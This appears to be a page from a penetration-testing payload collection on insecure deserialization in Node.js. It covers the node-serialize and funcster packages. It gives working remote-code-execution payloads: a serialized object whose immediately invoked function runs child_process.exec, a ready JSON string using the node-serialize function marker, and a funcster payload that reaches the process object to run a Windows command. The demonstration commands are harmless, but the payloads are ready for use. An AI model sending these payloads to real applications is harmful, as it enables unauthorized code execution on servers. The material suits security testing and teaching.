48 Payloads

Upstream Source

Insecure Deserialization Payloads & Testing Methodology

Check the following sub-sections, located in other chapters :

Overview (README)DotNET Java Node PHP Python Ruby

Node Deserialization#

Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.

Summary#

Methodology
node-serialize
funcster
References

Methodology#

In Node source code, look for:

node-serialize
serialize-to-js
funcster

node-serialize#

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

Generate a serialized payload

js8 lines

    var y = {
        rce : function(){
            require('child_process').exec('ls /', function(error,
            stdout, stderr) { console.log(stdout) });
        },
    }
    var serialize = require('node-serialize');
    console.log("Serialized: \n" + serialize.serialize(y));

Add bracket () to force the execution

js1 line

    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}

Send the payload

funcster#

js1 line

{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}

References#